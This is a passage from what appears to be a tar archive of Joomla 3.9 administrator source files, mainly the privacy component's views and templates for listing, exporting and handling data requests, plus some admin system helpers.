		<h4 class="alert-heading"><?php echo JText::_('COM_PRIVACY_MSG_CAPABILITIES_ABOUT_THIS_INFORMATION'); ?></h4>
		<?php echo JText::_('COM_PRIVACY_MSG_CAPABILITIES_INTRODUCTION'); ?>
	</div>
	<?php if (empty($this->capabilities)) : ?>
		<div class="alert alert-no-items">
			<?php echo JText::_('COM_PRIVACY_MSG_CAPABILITIES_NO_CAPABILITIES'); ?>
		</div>
	<?php else : ?>
		<?php $i = 0; ?>
		<?php echo JHtml::_('bootstrap.startAccordion', 'slide-capabilities', array('active' => 'slide-0')); ?>

		<?php foreach ($this->capabilities as $extension => $capabilities) : ?>
			<?php echo JHtml::_('bootstrap.addSlide', 'slide-capabilities', $extension, 'slide-' . $i); ?>
				<?php if (empty($capabilities)) : ?>
					<div class="alert alert-no-items">
						<?php echo JText::_('COM_PRIVACY_MSG_EXTENSION_NO_CAPABILITIES'); ?>
					</div>
				<?php else : ?>
					<ul>
						<?php foreach ($capabilities as $capability) : ?>
							<li><?php echo $capability; ?></li>
						<?php endforeach; ?>
					</ul>
				<?php endif; ?>
			<?php echo JHtml::_('bootstrap.endSlide'); ?>
			<?php $i++; ?>
		<?php endforeach; ?>

		<?php echo JHtml::_('bootstrap.endAccordion'); ?>
	<?php endif; ?>
</div>
com_privacy/views/capabilities/view.html.php000060400000003331152455305270015277 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Capabilities view class
 *
 * @since  3.9.0
 */
class PrivacyViewCapabilities extends JViewLegacy
{
	/**
	 * The reported extension capabilities
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $capabilities;

	/**
	 * The HTML markup for the sidebar
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $sidebar;

	/**
	 * The state information
	 *
	 * @var    JObject
	 * @since  3.9.0
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.9.0
	 * @throws  Exception
	 */
	public function display($tpl = null)
	{
		// Initialise variables
		$this->capabilities = $this->get('Capabilities');
		$this->state        = $this->get('State');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function addToolbar()
	{
		JToolbarHelper::title(JText::_('COM_PRIVACY_VIEW_CAPABILITIES'), 'lock');

		JToolbarHelper::preferences('com_privacy');

		JToolbarHelper::help('JHELP_COMPONENTS_PRIVACY_CAPABILITIES');
	}
}
com_privacy/views/requests/view.html.php000060400000005617152455305270014532 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Requests view class
 *
 * @since  3.9.0
 */
class PrivacyViewRequests extends JViewLegacy
{
	/**
	 * The active search tools filters
	 *
	 * @var    array
	 * @since  3.9.0
	 * @note   Must be public to be accessed from the search tools layout
	 */
	public $activeFilters;

	/**
	 * Form instance containing the search tools filter form
	 *
	 * @var    JForm
	 * @since  3.9.0
	 * @note   Must be public to be accessed from the search tools layout
	 */
	public $filterForm;

	/**
	 * The items to display
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var    JPagination
	 * @since  3.9.0
	 */
	protected $pagination;

	/**
	 * Flag indicating the site supports sending email
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $sendMailEnabled;

	/**
	 * The HTML markup for the sidebar
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $sidebar;

	/**
	 * The state information
	 *
	 * @var    JObject
	 * @since  3.9.0
	 */
	protected $state;

	/**
	 * The age of urgent requests
	 *
	 * @var    integer
	 * @since  3.9.0
	 */
	protected $urgentRequestAge;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.9.0
	 * @throws  Exception
	 */
	public function display($tpl = null)
	{
		// Initialise variables
		$this->items            = $this->get('Items');
		$this->pagination       = $this->get('Pagination');
		$this->state            = $this->get('State');
		$this->filterForm       = $this->get('FilterForm');
		$this->activeFilters    = $this->get('ActiveFilters');
		$this->urgentRequestAge = (int) JComponentHelper::getParams('com_privacy')->get('notify', 14);
		$this->sendMailEnabled  = (bool) JFactory::getConfig()->get('mailonline', 1);

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function addToolbar()
	{
		JToolbarHelper::title(JText::_('COM_PRIVACY_VIEW_REQUESTS'), 'lock');

		// Requests can only be created if mail sending is enabled
		if (JFactory::getConfig()->get('mailonline', 1))
		{
			JToolbarHelper::addNew('request.add');
		}

		JToolbarHelper::preferences('com_privacy');
		JToolbarHelper::help('JHELP_COMPONENTS_PRIVACY_REQUESTS');

	}
}
com_privacy/views/requests/tmpl/default.xml000060400000000322152455305270015212 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_PRIVACY_REQUESTS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_PRIVACY_REQUESTS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_privacy/views/requests/tmpl/default.php000060400000013351152455305270015207 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var PrivacyViewRequests $this */

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/html');

// Load the tooltip behavior.
JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user      = JFactory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$now       = JFactory::getDate();

$urgentRequestDate= clone $now;
$urgentRequestDate->sub(new DateInterval('P' . $this->urgentRequestAge . 'D'));
?>
<form action="<?php echo JRoute::_('index.php?option=com_privacy&view=requests'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty($this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"> </div>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('COM_PRIVACY_MSG_REQUESTS_NO_REQUESTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="requestList">
				<thead>
					<tr>
						<th width="5%" class="nowrap center">
							<?php echo JText::_('COM_PRIVACY_HEADING_ACTIONS'); ?>
						</th>
						<th width="5%" class="nowrap center">
							<?php echo JText::_('JSTATUS'); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_EMAIL', 'a.email', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_PRIVACY_HEADING_REQUEST_TYPE', 'a.request_type', $listDirn, $listOrder); ?>
						</th>
						<th width="20%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_PRIVACY_HEADING_REQUESTED_AT', 'a.requested_at', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="7">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php foreach ($this->items as $i => $item) : ?>
						<?php
						$itemRequestedAt = new JDate($item->requested_at);
						?>
						<tr class="row<?php echo $i % 2; ?>">
							<td class="center">
								<div class="btn-group">
									<?php if ($item->status == 1 && $item->request_type === 'export') : ?>
										<a class="btn btn-micro hasTooltip" href="<?php echo JRoute::_('index.php?option=com_privacy&task=request.export&format=xml&id=' . (int) $item->id); ?>" title="<?php echo JText::_('COM_PRIVACY_ACTION_EXPORT_DATA'); ?>"><span class="icon-download" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('COM_PRIVACY_ACTION_EXPORT_DATA'); ?></span></a>
										<?php if ($this->sendMailEnabled) : ?>
											<a class="btn btn-micro hasTooltip" href="<?php echo JRoute::_('index.php?option=com_privacy&task=request.emailexport&id=' . (int) $item->id . '&' . JFactory::getSession()->getFormToken() . '=1'); ?>" title="<?php echo JText::_('COM_PRIVACY_ACTION_EMAIL_EXPORT_DATA'); ?>"><span class="icon-mail" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('COM_PRIVACY_ACTION_EMAIL_EXPORT_DATA'); ?></span></a>
										<?php endif; ?>
									<?php endif; ?>
									<?php if ($item->status == 1 && $item->request_type === 'remove') : ?>
										<a class="btn btn-micro hasTooltip" href="<?php echo JRoute::_('index.php?option=com_privacy&task=request.remove&id=' . (int) $item->id . '&' . JFactory::getSession()->getFormToken() . '=1'); ?>" title="<?php echo JText::_('COM_PRIVACY_ACTION_DELETE_DATA'); ?>"><span class="icon-delete" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('COM_PRIVACY_ACTION_DELETE_DATA'); ?></span></a>
									<?php endif; ?>
								</div>
							</td>
							<td class="center">
								<?php echo JHtml::_('PrivacyHtml.helper.statusLabel', $item->status); ?>
							</td>
							<td>
								<?php if ($item->status == 1 && $urgentRequestDate >= $itemRequestedAt) : ?>
									<span class="pull-right label label-important"><?php echo JText::_('COM_PRIVACY_BADGE_URGENT_REQUEST'); ?></span>
								<?php endif; ?>
								<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_privacy&view=request&id=' . (int) $item->id); ?>" title="<?php echo JText::_('COM_PRIVACY_ACTION_VIEW'); ?>">
									<?php echo JStringPunycode::emailToUTF8($this->escape($item->email)); ?>
								</a>
							</td>
							<td class="break-word">
								<?php echo JText::_('COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_' . $item->request_type); ?>
							</td>
							<td class="break-word">
								<span class="hasTooltip" title="<?php echo JHtml::_('date', $item->requested_at, JText::_('DATE_FORMAT_LC6')); ?>">
									<?php echo JHtml::_('date.relative', $itemRequestedAt, null, $now); ?>
								</span>
							</td>
							<td class="hidden-phone">
								<?php echo (int) $item->id; ?>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_privacy/views/request/tmpl/edit.php000060400000002451152455305270014324 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/** @var PrivacyViewRequest $this */

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', 'select');

$js = <<< JS
Joomla.submitbutton = function(task) {
	if (task === 'request.cancel' || document.formvalidator.isValid(document.getElementById('item-form'))) {
		Joomla.submitform(task, document.getElementById('item-form'));
	}
};
JS;

JFactory::getDocument()->addScriptDeclaration($js);
?>

<form action="<?php echo JRoute::_('index.php?option=com_privacy&view=request&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate">
	<div class="form-horizontal">
		<div class="row-fluid">
			<div class="span9">
				<fieldset class="adminform">
					<?php echo $this->form->renderField('email'); ?>
					<?php echo $this->form->renderField('status'); ?>
					<?php echo $this->form->renderField('request_type'); ?>
				</fieldset>
			</div>
		</div>

		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_privacy/views/dashboard/tmpl/default.php000060400000020115152455305270015257 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var PrivacyViewDashboard $this */

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/html');

JHtml::_('bootstrap.tooltip');

$totalRequests  = 0;
$activeRequests = 0;

?>
<?php if (!empty($this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
	<div class="row-fluid">
		<div class="span6">
			<div class="well well-small">
				<h3 class="module-title nav-header"><?php echo Text::_('COM_PRIVACY_DASHBOARD_HEADING_TOTAL_REQUEST_COUNT'); ?></h3>
				<div class="row-striped">
					<?php if (count($this->requestCounts)) : ?>
						<div class="row-fluid">
							<div class="span5"><strong><?php echo Text::_('COM_PRIVACY_DASHBOARD_HEADING_REQUEST_TYPE'); ?></strong></div>
							<div class="span5"><strong><?php echo Text::_('COM_PRIVACY_DASHBOARD_HEADING_REQUEST_STATUS'); ?></strong></div>
							<div class="span2"><strong><?php echo Text::_('COM_PRIVACY_DASHBOARD_HEADING_REQUEST_COUNT'); ?></strong></div>
						</div>
						<?php foreach ($this->requestCounts as $row) : ?>
							<div class="row-fluid">
								<div class="span5">
									<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_privacy&view=requests&filter[request_type]=' . $row->request_type . '&filter[status]=' . $row->status); ?>" data-original-title="<?php echo JText::_('COM_PRIVACY_DASHBOARD_VIEW_REQUESTS'); ?>">
										<strong><?php echo Text::_('COM_PRIVACY_HEADING_REQUEST_TYPE_TYPE_' . $row->request_type); ?></strong>
									</a>
								</div>
								<div class="span5"><?php echo JHtml::_('PrivacyHtml.helper.statusLabel', $row->status); ?></div>
								<div class="span2"><span class="badge badge-info"><?php echo $row->count; ?></span></div>
							</div>
							<?php if (in_array($row->status, array(0, 1))) : ?>
								<?php $activeRequests += $row->count; ?>
							<?php endif; ?>
							<?php $totalRequests += $row->count; ?>
						<?php endforeach; ?>
						<div class="row-fluid">
							<div class="span5"><?php echo Text::plural('COM_PRIVACY_DASHBOARD_BADGE_TOTAL_REQUESTS', $totalRequests); ?></div>
							<div class="span7"><?php echo Text::plural('COM_PRIVACY_DASHBOARD_BADGE_ACTIVE_REQUESTS', $activeRequests); ?></div>
						</div>
					<?php else : ?>
						<div class="row-fluid">
							<div class="span12">
								<div class="alert"><?php echo Text::_('COM_PRIVACY_DASHBOARD_NO_REQUESTS'); ?></div>
							</div>
						</div>
					<?php endif; ?>
				</div>
			</div>
		</div>
		<div class="span6">
			<div class="well well-small">
				<h3 class="module-title nav-header"><?php echo Text::_('COM_PRIVACY_DASHBOARD_HEADING_STATUS_CHECK'); ?></h3>
				<div class="row-striped">
					<div class="row-fluid">
						<div class="span3"><strong><?php echo Text::_('COM_PRIVACY_DASHBOARD_HEADING_STATUS'); ?></strong></div>
						<div class="span9"><strong><?php echo Text::_('COM_PRIVACY_DASHBOARD_HEADING_CHECK'); ?></strong></div>
					</div>
					<div class="row-fluid">
						<div class="span3">
							<?php if ($this->privacyPolicyInfo['published'] && $this->privacyPolicyInfo['articlePublished']) : ?>
								<span class="label label-success">
									<span class="icon-checkbox" aria-hidden="true"></span>
									<?php echo Text::_('JPUBLISHED'); ?>
								</span>
							<?php elseif ($this->privacyPolicyInfo['published'] && !$this->privacyPolicyInfo['articlePublished']) : ?>
								<span class="label label-warning">
									<span class="icon-warning" aria-hidden="true"></span>
									<?php echo Text::_('JUNPUBLISHED'); ?>
								</span>
							<?php else : ?>
								<span class="label label-warning">
									<span class="icon-warning" aria-hidden="true"></span>
									<?php echo Text::_('COM_PRIVACY_STATUS_CHECK_NOT_AVAILABLE'); ?>
								</span>
							<?php endif; ?>
						</div>
						<div class="span9">
							<div><?php echo Text::_('COM_PRIVACY_STATUS_CHECK_PRIVACY_POLICY_PUBLISHED'); ?></div>
							<?php if ($this->privacyPolicyInfo['editLink'] !== '') : ?>
								<small><a href="<?php echo $this->privacyPolicyInfo['editLink']; ?>"><?php echo Text::_('COM_PRIVACY_EDIT_PRIVACY_POLICY'); ?></a></small>
							<?php else : ?>
								<?php $link = Route::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . $this->privacyConsentPluginId); ?>
								<small><a href="<?php echo $link; ?>"><?php echo Text::_('COM_PRIVACY_EDIT_PRIVACY_CONSENT_PLUGIN'); ?></a></small>
							<?php endif; ?>
						</div>
					</div>
					<div class="row-fluid">
						<div class="span3">
							<?php if ($this->requestFormPublished['published'] && $this->requestFormPublished['exists']) : ?>
								<span class="label label-success">
									<span class="icon-checkbox" aria-hidden="true"></span>
									<?php echo Text::_('JPUBLISHED'); ?>
								</span>
							<?php elseif (!$this->requestFormPublished['published'] && $this->requestFormPublished['exists']) : ?>
								<span class="label label-warning">
									<span class="icon-warning" aria-hidden="true"></span>
									<?php echo Text::_('JUNPUBLISHED'); ?>
								</span>
							<?php else : ?>
								<span class="label label-warning">
									<span class="icon-warning" aria-hidden="true"></span>
									<?php echo Text::_('COM_PRIVACY_STATUS_CHECK_NOT_AVAILABLE'); ?>
								</span>
							<?php endif; ?>
						</div>
						<div class="span9">
							<div><?php echo Text::_('COM_PRIVACY_STATUS_CHECK_REQUEST_FORM_MENU_ITEM_PUBLISHED'); ?></div>
							<?php if ($this->requestFormPublished['link'] !== '') : ?>
								<small><a href="<?php echo $this->requestFormPublished['link']; ?>"><?php echo $this->requestFormPublished['link']; ?></a></small>
							<?php endif; ?>
						</div>
					</div>
					<div class="row-fluid">
						<div class="span3">
							<?php if ($this->numberOfUrgentRequests === 0) : ?>
								<span class="label label-success">
									<span class="icon-checkbox" aria-hidden="true"></span>
									<?php echo Text::_('JNONE'); ?>
								</span>
							<?php else : ?>
								<span class="label label-important">
									<span class="icon-warning" aria-hidden="true"></span>
									<?php echo Text::_('WARNING'); ?>
								</span>
							<?php endif; ?>
						</div>
						<div class="span9">
							<div><?php echo Text::_('COM_PRIVACY_STATUS_CHECK_OUTSTANDING_URGENT_REQUESTS'); ?></div>
							<small><?php echo Text::plural('COM_PRIVACY_STATUS_CHECK_OUTSTANDING_URGENT_REQUESTS_DESCRIPTION', $this->urgentRequestDays); ?></small>
							<?php if ($this->numberOfUrgentRequests > 0) : ?>
								<small><a href="<?php echo Route::_('index.php?option=com_privacy&view=requests&filter[status]=1&list[fullordering]=a.requested_at ASC'); ?>"><?php echo JText::_('COM_PRIVACY_SHOW_URGENT_REQUESTS'); ?></a></small>
							<?php endif; ?>
						</div>
					</div>
					<div class="row-fluid">
						<div class="span3">
							<?php if ($this->sendMailEnabled) : ?>
								<span class="label label-success">
									<span class="icon-checkbox" aria-hidden="true"></span>
									<?php echo Text::_('JENABLED'); ?>
								</span>
							<?php else : ?>
								<span class="label label-important">
									<span class="icon-warning" aria-hidden="true"></span>
									<?php echo Text::_('JDISABLED'); ?>
								</span>
							<?php endif; ?>
						</div>
						<div class="span9">
							<?php if (!$this->sendMailEnabled) : ?>
								<div><?php echo Text::_('COM_PRIVACY_STATUS_CHECK_SENDMAIL_DISABLED'); ?></div>
								<small><?php echo Text::_('COM_PRIVACY_STATUS_CHECK_SENDMAIL_DISABLED_DESCRIPTION'); ?></small>
							<?php else : ?>
								<div><?php echo Text::_('COM_PRIVACY_STATUS_CHECK_SENDMAIL_ENABLED'); ?></div>
							<?php endif; ?>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
</div>
com_privacy/views/dashboard/tmpl/default.xml000060400000000324152455305270015270 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_PRIVACY_DASHBOARD_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_PRIVACY_DASHBOARD_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_privacy/views/dashboard/view.html.php000060400000005656152455305270014611 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

/**
 * Dashboard view class
 *
 * @since  3.9.0
 */
class PrivacyViewDashboard extends JViewLegacy
{
	/**
	 * Number of urgent requests based on the component configuration
	 *
	 * @var    integer
	 * @since  3.9.0
	 */
	protected $numberOfUrgentRequests;

	/**
	 * Information about whether a privacy policy is published
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $privacyPolicyInfo;

	/**
	 * The request counts
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $requestCounts;

	/**
	 * Information about whether a menu item for the request form is published
	 *
	 * @var    array
	 * @since  3.9.0
	 */
	protected $requestFormPublished;

	/**
	 * Flag indicating the site supports sending email
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $sendMailEnabled;

	/**
	 * The HTML markup for the sidebar
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $sidebar;

	/**
	 * Id of the system privacy consent plugin
	 *
	 * @var    integer
	 * @since  3.9.2
	 */
	protected $privacyConsentPluginId;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.9.0
	 * @throws  Exception
	 */
	public function display($tpl = null)
	{
		// Initialise variables
		$this->privacyConsentPluginId = PrivacyHelper::getPrivacyConsentPluginId();
		$this->privacyPolicyInfo      = $this->get('PrivacyPolicyInfo');
		$this->requestCounts          = $this->get('RequestCounts');
		$this->requestFormPublished   = $this->get('RequestFormPublished');
		$this->sendMailEnabled        = (bool) Factory::getConfig()->get('mailonline', 1);

		/** @var PrivacyModelRequests $requestsModel */
		$requestsModel = $this->getModel('requests');

		$this->numberOfUrgentRequests = $requestsModel->getNumberUrgentRequests();

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->urgentRequestDays = (int) ComponentHelper::getParams('com_privacy')->get('notify', 14);

		$this->addToolbar();

		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function addToolbar()
	{
		JToolbarHelper::title(Text::_('COM_PRIVACY_VIEW_DASHBOARD'), 'lock');

		JToolbarHelper::preferences('com_privacy');

		JToolbarHelper::help('JHELP_COMPONENTS_PRIVACY_DASHBOARD');
	}
}
com_privacy/views/export/view.xml.php000060400000002640152455305270014025 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_privacy
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PrivacyHelper', JPATH_ADMINISTRATOR . '/components/com_privacy/helpers/privacy.php');

/**
 * Export view class
 *
 * @since  3.9.0
 *
 * @property-read   \Joomla\CMS\Document\XmlDocument  $document
 */
class PrivacyViewExport extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.9.0
	 * @throws  Exception
	 */
	public function display($tpl = null)
	{
		/** @var PrivacyModelExport $model */
		$model = $this->getModel();

		$exportData = $model->collectDataForExportRequest();

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$requestId = $model->getState($model->getName() . '.request_id');

		// This document should always be downloaded
		$this->document->setDownload(true);
		$this->document->setName('export-request-' . $requestId);

		echo PrivacyHelper::renderDataAsXml($exportData);
	}
}
com_admin/helpers/html/system.php000060400000001130152455305270013134 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Utility class working with system
 *
 * @since  1.6
 */
abstract class JHtmlSystem
{
	/**
	 * Method to generate a string message for a value
	 *
	 * @param   string  $val  a php ini value
	 *
	 * @return  string html code
	 */
	public static function server($val)
	{
		return !empty($val) ? $val : JText::_('COM_ADMIN_NA');
	}
}
com_admin/helpers/html/directory.php000060400000002355152455305270013626 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Utility class working with directory
 *
 * @since  1.6
 */
abstract class JHtmlDirectory
{
	/**
	 * Method to generate a (un)writable message for directory
	 *
	 * @param   boolean  $writable  is the directory writable?
	 *
	 * @return  string	html code
	 */
	public static function writable($writable)
	{
		if ($writable)
		{
			return '<span class="badge badge-success">' . JText::_('COM_ADMIN_WRITABLE') . '</span>';
		}

		return '<span class="badge badge-important">' . JText::_('COM_ADMIN_UNWRITABLE') . '</span>';
	}

	/**
	 * Method to generate a message for a directory
	 *
	 * @param   string   $dir      the directory
	 * @param   boolean  $message  the message
	 * @param   boolean  $visible  is the $dir visible?
	 *
	 * @return  string	html code
	 */
	public static function message($dir, $message, $visible = true)
	{
		$output = $visible ? $dir : '';

		if (empty($message))
		{
			return $output;
		}

		return $output . ' <strong>' . JText::_($message) . '</strong>';
	}
}
com_admin/helpers/html/phpsetting.php000060400000003002152455305270013775 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Utility class working with phpsetting
 *
 * @since  1.6
 */
abstract class JHtmlPhpSetting
{
	/**
	 * Method to generate a boolean message for a value
	 *
	 * @param   boolean  $val  is the value set?
	 *
	 * @return  string html code
	 */
	public static function boolean($val)
	{
		return JText::_($val ? 'JON' : 'JOFF');
	}

	/**
	 * Method to generate a boolean message for a value
	 *
	 * @param   boolean  $val  is the value set?
	 *
	 * @return  string html code
	 */
	public static function set($val)
	{
		return JText::_($val ? 'JYES' : 'JNO');
	}

	/**
	 * Method to generate a string message for a value
	 *
	 * @param   string  $val  a php ini value
	 *
	 * @return  string html code
	 */
	public static function string($val)
	{
		return !empty($val) ? $val : JText::_('JNONE');
	}

	/**
	 * Method to generate an integer from a value
	 *
	 * @param   string  $val  a php ini value
	 *
	 * @return  string html code
	 *
	 * @deprecated  4.0  Use intval() or casting instead.
	 */
	public static function integer($val)
	{
		try
		{
			JLog::add(sprintf('%s() is deprecated. Use intval() or casting instead.', __METHOD__), JLog::WARNING, 'deprecated');
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		return (int) $val;
	}
}
com_admin/models/profile.php000060400000016576152455305270012151 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Load the helper and model used for two factor authentication
JLoader::register('UsersModelUser', JPATH_ADMINISTRATOR . '/components/com_users/models/user.php');
JLoader::register('UsersHelper', JPATH_ADMINISTRATOR . '/components/com_users/helpers/users.php');

/**
 * User model.
 *
 * @since  1.6
 */
class AdminModelProfile extends UsersModelUser
{
	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm    A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_admin.profile', 'profile', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// Check for username compliance and parameter set
		$isUsernameCompliant = true;

		if ($this->loadFormData()->username)
		{
			$username = $this->loadFormData()->username;
